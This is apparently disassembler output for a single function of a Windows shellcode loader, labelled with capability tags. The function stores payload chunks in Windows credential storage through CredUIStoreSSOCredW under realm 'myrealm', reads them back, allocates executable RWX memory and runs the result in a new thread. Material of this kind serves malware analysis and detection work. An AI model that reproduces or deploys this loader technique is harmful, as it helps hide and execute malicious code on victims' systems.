Function at 0x1400088f0
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x200]
sub rsp, 0x300
mov rax, qword [0x140034008]
xor rax, rsp
mov qword [rbp + 0x1f0], rax
call section..text
mov rcx, rax
call fcn.140008700
mov r14, rax
mov eax, dword [0x140035cc8]
mov ecx, eax
and ecx, 0x80000001
jge 0x14000894b
dec ecx
or ecx, 0xfffffffe
inc ecx
cmp ecx, 1
jne 0x140008952
inc eax
cdq
mov qword [rsp + 0x320], rbx
sub eax, edx
xor r12d, r12d
sar eax, 1
mov edi, r12d
mov dword [0x140035cc8], eax
cdq
and edx, 0x7f
add eax, edx
mov esi, eax
and eax, 0x7f
sub eax, edx
sar esi, 7
movsxd r15, eax
test esi, esi
jle 0x140008a56
mov ebx, r12d
nop dword [rax]
movsxd rax, ebx
lea rcx, [rbp + 0xe0]
mov r8d, 0x80
lea rdx, [r14 + rax*2]
call fcn.14000f7d4
xor edx, edx
mov word [rbp + 0x1e0], r12w
mov r8d, 0xc8
lea rcx, [rbp + 0x10]
call fcn.14000a110
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0xb8
call fcn.14000a110
movups xmm0, xmmword [str.myrealm]
mov r8d, 0xa
lea rdx, [rbp + 0x10]
mov ecx, edi
movaps xmmword [rsp + 0x40], xmm0
call fcn.14000f9f4
lea rdx, [rsp + 0x40]
mov r8, rax
sub rdx, 2
nop dword [rax]
cmp word [rdx + 2], r12w
lea rdx, [rdx + 2]
jne 0x140008a00
xor ecx, ecx
nop dword [rax]
movzx eax, word [r8 + rcx*2]
mov word [rdx + rcx*2], ax
lea rcx, [rcx + 1]
test ax, ax
jne 0x140008a10
mov r9d, 1
lea r8, str.123456
lea rdx, [rbp + 0xe0]
lea rcx, [rsp + 0x40]
call qword [sym.imp.credui.dll_CredUIStoreSSOCredW]
test eax, eax
jne 0x140008df2
inc edi
sub ebx, 0xffffff80
cmp edi, esi
jl 0x140008990
test r15d, r15d
je 0x140008b29
mov eax, edi
lea rcx, [rbp + 0xe0]
shl eax, 7
mov r8, r15
cdqe
mov rbx, r15
lea rdx, [r14 + rax*2]
call fcn.14000f7d4
add rbx, rbx
cmp rbx, 0x102
jae 0x140008df8
xor edx, edx
mov word [rbp + rbx + 0xe0], r12w
mov r8d, 0xc8
lea rcx, [rbp + 0x10]
call fcn.14000a110
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0xb8
call fcn.14000a110
movups xmm0, xmmword [str.myrealm]
mov r8d, 0xa
lea rdx, [rbp + 0x10]
mov ecx, edi
movaps xmmword [rsp + 0x40], xmm0
call fcn.14000f9f4
lea rcx, [rsp + 0x40]
mov r10, rax
sub rcx, 2
cmp word [rcx + 2], r12w
lea rcx, [rcx + 2]
jne 0x140008ae1
xor edx, edx
nop
movzx eax, word [r10 + rdx*2]
mov word [rcx + rdx*2], ax
lea rdx, [rdx + 1]
test ax, ax
jne 0x140008af0
mov r9d, 1
lea r8, str.123456
lea rdx, [rbp + 0xe0]
lea rcx, [rsp + 0x40]
call qword [sym.imp.credui.dll_CredUIStoreSSOCredW]
test eax, eax
jne 0x140008df2
lea rcx, str.___Payload_written._n
call fcn.140008670
mov ecx, 0x2000000
call fcn.1400090d4
mov rsi, rax
lea rcx, [rbp + 0x10]
xor eax, eax
xor edx, edx
mov r8d, 0xc8
mov edi, r12d
mov ebx, r12d
mov qword [rsi], rax
call fcn.14000a110
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0xb8
call fcn.14000a110
movups xmm0, xmmword [str.myrealm]
mov r8d, 0xa
lea rdx, [rbp + 0x10]
xor ecx, ecx
movaps xmmword [rsp + 0x40], xmm0
call fcn.14000f9f4
lea rcx, [rsp + 0x40]
mov r8, rax
sub rcx, 2
nop dword [rax]
cmp word [rcx + 2], bx
lea rcx, [rcx + 2]
jne 0x140008ba0
xor edx, edx
nop dword [rax]
movzx eax, word [r8 + rdx*2]
mov word [rcx + rdx*2], ax
lea rdx, [rdx + 1]
test ax, ax
jne 0x140008bb0
lea rcx, [rsp + 0x40]
sub rcx, 2
nop dword [rax + rax]
cmp word [rcx + 2], bx
lea rcx, [rcx + 2]
jne 0x140008bd0
mov eax, dword [0x140030bb0]
lea rdx, [rsp + 0x30]
mov dword [rcx], eax
movzx eax, word [0x140030bb4]
mov word [rcx + 4], ax
lea rcx, [rsp + 0x40]
call qword [sym.imp.credui.dll_CredUIReadSSOCredW]
test eax, eax
jne 0x140008d06
nop word [rax + rax]
mov rcx, qword [rsp + 0x30]
inc ebx
movsxd rax, edi
lea rdx, [rsi + rax*2]
nop
movzx eax, word [rcx]
lea rcx, [rcx + 2]
mov word [rdx], ax
lea rdx, [rdx + 2]
test ax, ax
jne 0x140008c20
mov rcx, qword [rsp + 0x30]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp word [rcx + rax*2], r12w
jne 0x140008c40
xor edx, edx
lea rcx, [rbp + 0x10]
mov r8d, 0xc8
add edi, eax
call fcn.14000a110
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0xb8
call fcn.14000a110
movups xmm0, xmmword [str.myrealm]
mov r8d, 0xa
lea rdx, [rbp + 0x10]
mov ecx, ebx
movaps xmmword [rsp + 0x40], xmm0
call fcn.14000f9f4
lea rcx, [rsp + 0x40]
mov r8, rax
sub rcx, 2
nop dword [rax + rax]
cmp word [rcx + 2], r12w
lea rcx, [rcx + 2]
jne 0x140008ca0
xor edx, edx
nop dword [rax]
movzx eax, word [r8 + rdx*2]
mov word [rcx + rdx*2], ax
lea rdx, [rdx + 1]
test ax, ax
jne 0x140008cb0
lea rax, [rsp + 0x40]
sub rax, 2
nop dword [rax + rax]
cmp word [rax + 2], r12w
lea rax, [rax + 2]
jne 0x140008cd0
mov ecx, dword [0x140030bb0]
lea rdx, [rsp + 0x30]
mov dword [rax], ecx
movzx ecx, word [0x140030bb4]
mov word [rax + 4], cx
lea rcx, [rsp + 0x40]
call qword [sym.imp.credui.dll_CredUIReadSSOCredW]
test eax, eax
je 0x140008c10
lea eax, [rdi + rdi]
mov r9d, 0x40
mov edx, eax
mov r8d, 0x1000
xor ecx, ecx
mov dword [0x140035ccc], eax
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x140008d3d
lea rcx, str.memory_is_not_enough__n
call fcn.140008670
jmp 0x140008dbc
mov rdx, rdi
lea rcx, [0x140030bd0]
call fcn.140008670
test rbx, rbx
je 0x140008d5f
mov r8, rbx
mov rdx, rsi
mov rcx, rdi
call fcn.14000b140
mov qword [rsp + 0x28], r12
xor r9d, r9d
mov r8, rdi
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
jne 0x140008d8f
lea rcx, str.Creating_thread_failed__n
call fcn.140008670
jmp 0x140008dbc
call fcn.14000fb7c
lea rcx, str.Successfully_Loaded__n
call fcn.140008670
mov edx, 0xffffffff
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, ebx
lea rcx, str.___Payload_size:__d_bytes_
call fcn.140008670
mov rbx, qword [rsp + 0x320]
xor eax, eax
mov rcx, qword [rbp + 0x1f0]
xor rcx, rsp
call fcn.140008e10
lea r11, [rsp + 0x300]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.1400086d0
int3
call fcn.140008f40
int3